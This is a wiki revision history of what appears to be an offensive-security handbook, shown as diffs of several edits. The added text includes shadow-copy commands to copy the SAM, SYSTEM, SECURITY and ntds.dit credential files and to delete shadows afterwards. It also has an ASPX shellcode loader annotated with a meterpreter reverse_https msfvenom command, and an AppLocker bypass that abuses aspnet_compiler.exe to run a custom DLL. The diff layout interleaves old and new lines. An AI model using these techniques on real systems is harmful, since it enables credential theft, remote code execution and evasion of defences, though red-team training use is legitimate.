Handbook II - Advanced - Revision history

Administrator: /* SAM database */

2026-05-21T07:52:28Z

SAM database

← Older revision		Revision as of 07:52, 21 May 2026
Line 7,395:		Line 7,395:
	<syntaxhighlight lang="bash">		<syntaxhighlight lang="bash">
	C:\> vssadmin list shadows		C:\> vssadmin list shadows

			# Cleanup
			vssadmin delete shadows /shadow={XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
	</syntaxhighlight>		</syntaxhighlight>

Administrator: /* SAM database */

2026-05-19T11:20:52Z

SAM database

← Older revision		Revision as of 11:20, 19 May 2026
Line 7,387:		Line 7,387:
	<syntaxhighlight lang="bash">		<syntaxhighlight lang="bash">
	C:\> wmic shadowcopy call create Volume='C:\'		C:\> wmic shadowcopy call create Volume='C:\'

			C:\> vssadmin create shadow /for=C:
	</syntaxhighlight>		</syntaxhighlight>

Line 7,399:		Line 7,401:
	<syntaxhighlight lang="bash">		<syntaxhighlight lang="bash">
	C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam		C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam
	~~Note~~: ~~Run above command in cmd~~.~~exe , not in PowerShell~~.
			C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
			C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
			C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\temp\SECURITY
	</syntaxhighlight>		</syntaxhighlight>
			Note: Run above command in cmd.exe , not in PowerShell.
	'''Encrypting SAM Database'''		'''Encrypting SAM Database'''

Administrator: /* ASPX */

2026-05-11T17:48:12Z

ASPX

← Older revision		Revision as of 17:48, 11 May 2026
Line 7,017:		Line 7,017:
	<syntaxhighlight lang="csharp">		<syntaxhighlight lang="csharp">

			<%@ Page Language="C#" AutoEventWireup="true" %>
			<%@ Import Namespace="System.IO" %>
			<script runat="server">
	private static Int32 MEM_COMMIT=0x1000;		private static Int32 MEM_COMMIT=0x1000;
	private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;		private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

	[System.Runtime.InteropServices.DllImport("kernel32")]		[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);		private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
	[System.Runtime.InteropServices.DllImport("kernel32")]
			[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);		private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
	[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true,ExactSpelling = true)]
			[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true,ExactSpelling = true)]
	private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);		private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
	[System.Runtime.InteropServices.DllImport("kernel32.dll")]
			[System.Runtime.InteropServices.DllImport("kernel32.dll")]
	private static extern IntPtr GetCurrentProcess();		private static extern IntPtr GetCurrentProcess();

	protected void Page_Load(object sender, EventArgs e)		protected void Page_Load(object sender, EventArgs e)
	{		{
Line 7,034:		Line 7,042:
	return;		return;
	}		}
	// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx
	byte[] oe7hnH0 = new byte[666] {~~SHELLCODE-HERE!!!~~};		// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx
	for(int i = 0; i		byte[] oe7hnH0 = new byte[666] {0x01, 0x4d, 0x88, ...};
			for(int i = 0; i < oe7hnH0.Length; i++)
			{
			oe7hnH0[i] = (byte)(((uint)oe7hnH0[i] - 5) & 0xFF);
			}
			IntPtr uKVv = VirtualAlloc(IntPtr.Zero,(UIntPtr)oe7hnH0.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			System.Runtime.InteropServices.Marshal.Copy(oe7hnH0,0,uKVv,oe7hnH0.Length);
			IntPtr xE34tIARlB = IntPtr.Zero;
			IntPtr iwuox = CreateThread(IntPtr.Zero,UIntPtr.Zero,uKVv,IntPtr.Zero,0,ref xE34tIARlB);
			}
			</script>

	</syntaxhighlight>		</syntaxhighlight>

Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */

2026-03-16T11:39:17Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:39, 16 March 2026
Line 634:		Line 634:
	</syntaxhighlight>		</syntaxhighlight>

			The DLL is loaded by <code>aspnet_compiler.exe</code>, so all code runs inside a trusted process.

	Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/		Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/

Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */

2026-03-16T11:37:44Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:37, 16 March 2026
Line 596:		Line 596:
	</pre>		</pre>

			Now we create a C# clasw library that inherits from <code>System.Web.Compilation.BuildProvider</code> and ovverides the code <code>GenerateCode</code> method. Any code that is placed in the <code>GenerateCode</code> executes when the compiler processes the trigger file.

			Super simple PoC:
			<syntaxhighlight lang="csharp">
			using System.Web.Compilation;
			using System.CodeDom;
			using System.Windows.Forms;

			namespace BringYourOwnBuilder
			{
			public class BringYourOwnBuilder : BuildProvider
			{
			public override void GenerateCode(AssemblyBuilder ab)
			{
			MessageBox.Show("code execution");
			}
			}
			}
			</syntaxhighlight>

			Place the compiled <code>BringYourOwnBuilder</code> and place it in the <code>bin\</code> folder.

			Now run the following command to invoke aspnet_compiler.exe, which in turn will execute your dll and a messagebox with "code execution" will pop up.

			<pre>
			aspnet_compiler.exe (Microsoft-signed, trusted)
			│
			└── reads web.config
			│
			└── <buildProviders> -> loads BringYourOwnBuilder.dll
			│
			└── GenerateCode() -> payload executes
			</pre>

			<syntaxhighlight lang="bash">
			C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\agh\desktop\asptest\ -f C:\users\agh\desktop\asptest\none -u
			</syntaxhighlight>

Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */

2026-03-16T11:31:17Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:31, 16 March 2026
Line 569:		Line 569:
	├── web.config		├── web.config
	├── App_Code\		├── App_Code\
	│ └── ~~habssuck~~.~~wtf~~ <- this is the trigger file. the extenion is arbitrary.		│ └── dancingdogs.agh <- this is the trigger file. the extenion is arbitrary.
	└── bin\		└── bin\
	└── BringYourOwnBuilder.dll <- this is your malicious dll		└── BringYourOwnBuilder.dll <- this is your malicious dll
Line 581:		Line 581:
	<compilation>		<compilation>
	<buildProviders>		<buildProviders>
	<add extension=".~~wtf~~" type="BringYourOwnBuilder.BringYourOwnBuilder" />		<add extension=".agh" type="BringYourOwnBuilder.BringYourOwnBuilder" />
	</buildProviders>		</buildProviders>
	</compilation>		</compilation>
Line 587:		Line 587:
	</configuration>		</configuration>
	</syntaxhighlight>		</syntaxhighlight>

			The config above just tells <code>aspnet_compiler.exe</code>: When you encounter a <code>.agh</code> file, use the <code>BringYourOwnBulder</code> from <code>BringYourOwnBuilder.dll</code> to compile it.

			Place a file with the matcing extension inside the folder <code>App_Code</code>.

			<pre>
			App_Code\dancingdogs.agh
			</pre>

Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */

2026-03-16T11:28:32Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:28, 16 March 2026
Line 569:		Line 569:
	├── web.config		├── web.config
	├── App_Code\		├── App_Code\
	│ └── habssuck.wtf ~~← dummy~~ trigger file ~~(extension~~ is arbitrary)		│ └── habssuck.wtf <- this is the trigger file. the extenion is arbitrary.
	└── bin\		└── bin\
	└── BringYourOwnBuilder.dll ← malicious ~~DLL~~		└── BringYourOwnBuilder.dll <- this is your malicious dll
	</pre>		</pre>


			The <code>web.config</code> file maps a custom extension to the malicous DLL class.
			<syntaxhighlight lang="xml">
			<configuration>
			<system.web>
			<compilation>
			<buildProviders>
			<add extension=".wtf" type="BringYourOwnBuilder.BringYourOwnBuilder" />
			</buildProviders>
			</compilation>
			</system.web>
			</configuration>
			</syntaxhighlight>

Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */

2026-03-16T11:27:11Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:27, 16 March 2026
Line 563:		Line 563:
	<code>aspnet_compiler.exe</code> is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.		<code>aspnet_compiler.exe</code> is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.

			To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.

			<pre>
			asptest\
			├── web.config
			├── App_Code\
			│ └── habssuck.wtf ← dummy trigger file (extension is arbitrary)
			└── bin\
			└── BringYourOwnBuilder.dll ← malicious DLL
			</pre>

Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */

2026-03-16T11:26:01Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:26, 16 March 2026
Line 559:		Line 559:
	The full path for the binary is:		The full path for the binary is:

	<code>C:\Windows\Microsoft.NET\Framework64\		<code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe</code>

			<code>aspnet_compiler.exe</code> is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.

Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */

2026-03-16T11:22:40Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:22, 16 March 2026
Line 555:		Line 555:
	== AppLocker bypass using Aspnet_Compiler.exe ==		== AppLocker bypass using Aspnet_Compiler.exe ==

	~~TODO~~		This technique abuses '''aspnet_compiler.exe'''. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls.

			The full path for the binary is:

			<code>C:\Windows\Microsoft.NET\Framework64\




	Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/		Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/